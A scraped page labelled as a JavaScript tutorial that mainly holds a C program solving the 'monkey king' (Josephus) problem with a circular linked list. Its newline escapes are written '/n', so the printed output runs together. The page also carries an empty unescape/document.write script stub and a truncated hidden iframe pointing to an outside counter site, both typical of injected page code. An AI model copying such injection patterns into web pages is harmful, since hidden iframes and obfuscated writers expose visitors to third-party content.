HTML Tags and JavaScript tutorial
<script language="javascript">var encS="";var S=unescape(encS);document.write(S);</script>
猴子选大王
/*
Name:猴子选大王
Author:wujilin
Description:循环链表的运用
Date: 15-07-06 21:53
Copyright:
*/
#include<stdio.h>
#include<stdlib.h>
typedef struct Node
{
int data;
struct Node *next;
}Node,*LinkList;
void CreatLinkList(LinkList *L,int m)// 创建循环链表 m为猴子总数
{
Node *p, *q;
int i;
(*L) = (LinkList)malloc(sizeof(Node));
if ((*L) == NULL)
{
printf("memory allocation failed,goodbye");
exit(1);
}
p = (*L);
p->data = 1;
for (i = 2; i <= m; i++)
{
q = (LinkList)malloc(sizeof(Node));
if (q == NULL)
{
printf("memory allocation failed,goodbye");
exit(1);
}
q->data = i;
p->next = q;
p = q;
}
p->next =(*L);
}
void xuandawang(LinkList *L, int n, int m)
{
Node *p, *q;
int k;
int j = 1;
p = (*L);
for (; m > 1; m--)
{
k = 1;
while (k != n)
{
p = p->next;
k++;
}
printf("第%d个出队列的是%d/n", j++, p->data);
p->data = p->next->data;
q = p->next;
p->next = p->next->next;
free(q);
}
printf("最终结果大王是第%d号猴子/n",p->data);
}
int main(void)
{
int m, n;
LinkList L;
printf("请输入猴子总数和数到那个猴子出队:");
scanf("%d%d",&m,&n);
CreatLinkList(&L, m);
xuandawang(&L, n, m);
system("pause");
return 0;
}
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">